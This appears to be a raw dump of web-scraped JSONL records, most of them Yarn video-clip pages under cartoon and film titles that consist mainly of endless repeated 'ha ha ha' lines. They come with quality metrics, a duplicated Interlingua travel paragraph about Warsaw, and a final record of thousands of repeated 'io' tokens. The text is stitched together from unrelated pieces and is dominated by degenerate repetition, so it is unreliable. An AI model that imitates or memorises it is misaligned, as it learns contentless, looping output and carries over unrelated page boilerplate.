紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\nMore clips of this video\nRelated play\nDisable\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.getyarn.io\/yarn-clip\/8a0be2ea-159a-4701-b0cd-6d51bae0aec7\n😎\n😐\n😂\n😘\n😳\n😍\n#micdrop\n#gasps\n#kisses\n#done\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIncredibles 2\n3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1230,"character_repetition_ratio":0.701,"word_repetition_ratio":0.752,"special_characters_ratio":0.327,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.959,"perplexity_score":172742.7,"cluster_detection":1} +{"text":"Yarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nFuck Ha ha ha ha ha ha ha ha\nDespicable Me (2010)\nMore clips of this video\nFuck Ha ha ha ha ha ha ha ha\nQuizzes: Despicable Me\nLike Embed Video Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.getyarn.io\/yarn-clip\/ed1cd76c-bd87-4f0d-8177-8914232abd49\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHotel Transylvania 2 (2015)\n2.3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1015,"character_repetition_ratio":0.707,"word_repetition_ratio":0.769,"special_characters_ratio":0.336,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.963,"perplexity_score":203258.4,"cluster_detection":1} +{"text":"Io ha retornate hodie de un breve viage in Polonia, plus precisemente a Varsavia. Le amicos polonese qui io cognosce in Helsinki me habeva alertate que Varsavia es un del citates minus actractive del Polonia, ma io ha essite multo satisfacite de lo que ha vidite. Le tempore non esseva perfecte, il habeva sol solmente sabbato, durante que in le altere dies le ciel esseva coperite per nubes non troppo aggressive.","num_words":81,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":166582.6,"cluster_detection":1} +{"text":"Io ha retornate hodie de un breve viage in Polonia, plus precisemente a Varsavia. Le amicos polonese qui io cognosce in Helsinki me habeva alertate que Varsavia es un del citates minus actractive del Polonia, ma io ha essite multo satisfacite de lo que ha vidite. Le tempore non esseva perfecte, il habeva sol solmente sabbato, durante que in le altere dies le ciel esseva coperite per nubes non troppo aggressive.","num_words":81,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":166582.6,"cluster_detection":1} +{"text":"YARN | Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | Bingo | Video clips by quotes | b13ef530 | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\nMore clips of this video\nRelated play\nDisable\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.getyarn.io\/yarn-clip\/b13ef530-b95a-4bce-9251-a12efbee8642\n😎\n😐\n😂\n😘\n😳\n😍\n#duh\n#seriously\n#growl\n#please\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHotel Transylvania 2 (2015)\n2.3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIncredibles 2\n3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1180,"character_repetition_ratio":0.684,"word_repetition_ratio":0.718,"special_characters_ratio":0.329,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.941,"perplexity_score":163238.7,"cluster_detection":1} +{"text":"YARN | Ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha | Bingo | Video clips by quotes | b6cb6c98 | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\nMore clips of this video\nRelated play\nDisable\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.getyarn.io\/yarn-clip\/b6cb6c98-f989-4780-a7e3-07c62a85a211\n😎\n😐\n😂\n😘\n😳\n😍\n#no\n#please\n#oops\n#whining\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n2.2s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nHotel Transylvania 2 (2015)\n2.3s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Loud House\n0.8s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1173,"character_repetition_ratio":0.683,"word_repetition_ratio":0.728,"special_characters_ratio":0.331,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.944,"perplexity_score":161891.7,"cluster_detection":1} diff --git a/ina_Latn/new_cc_000003_remove.jsonl b/ina_Latn/new_cc_000003_remove.jsonl new file mode 100644 index 0000000000000000000000000000000000000000..a38861e2a340406508441614c2032b77fbe8081c --- /dev/null +++ b/ina_Latn/new_cc_000003_remove.jsonl @@ -0,0 +1,7 @@ +{"text":"SJUNNESSON: ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nSJUNNESSON\nsöndag 6 april 2014\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":80,"character_repetition_ratio":0.789,"word_repetition_ratio":0.676,"special_characters_ratio":0.321,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.994,"perplexity_score":268902.5,"cluster_detection":-1} +{"text":"YARN | Ha ha ha ha ha ha ha ha ha! Aah nuts! | The Wizard of Oz | Video clips by quotes | 869f22c7 | 紗\nHOT\nAPP\nQUIZZES\nDISCOVER\nYARNS\nEMOJI\nMore\nCREATE STORIES\nPHRASES\nNUDGE CLIPS\nCONTENT REQUEST\nLOGIN\nHOT\nAPP\nDISCOVER\nYARNS\nEMOJI\nSTORY\nPHRASES\nNUDGE CLIPS\nREQUEST CONTENT\n×\nYarn is the best way to find video clips by quote. Find the exact moment in a TV show, movie, or music video you want to share. Easily move forward or backward to get to the perfect spot. It's available on the web and also on Android and iOS.\nHa ha ha ha ha ha ha ha ha! Aah nuts!\nThe Wizard of Oz\nSearch clips of this video\nRelated play\nDisable\nHa ha ha ha ha ha ha ha ha! Aah nuts!\nLike Embed Gif Yarn Story Make Meme Share\nCopy the URL for easy sharing\nhttps:\/\/memes.getyarn.io\/yarn-clip\/869f22c7-cd5c-42fb-96b1-309a2a73fed0\n😎\n😐\n😂\n😘\n😳\n😍\n#micdrop\n#surprise\n#shutup\n#wow\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Tigger Movie\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Muppet Show (1976) - S02E14 Elton John\n1s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha!\nThe Wizard of Oz\n5.2s\nHa ha ha ha ha ha ha ha ha! Ahhh nuts!\nThe Loud House\n2.1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n1s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nRango\n22.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nThe Wizard of Oz\n5.2s\nHA HA HA HA HA HA HA HA! AHHH nuts.\nThe Wizard of Oz\n5.2s\nHa ha ha ha ha ha ha ha! Ahhh nuts!\nAlvin and the Chipmunks: The Squeakquel (2009)\n2.7s\nha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nIce Age (2002)\n4.4s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nBingo\n1.5s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha\nCars 3\n2.6s\nHa ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha ha","num_words":1053,"character_repetition_ratio":0.623,"word_repetition_ratio":0.673,"special_characters_ratio":0.329,"stopwords_ratio":0.006,"flagged_words_ratio":0.0,"lang_id_score":0.883,"perplexity_score":137847.6,"cluster_detection":-1} +{"text":"Io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io\nio io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io io 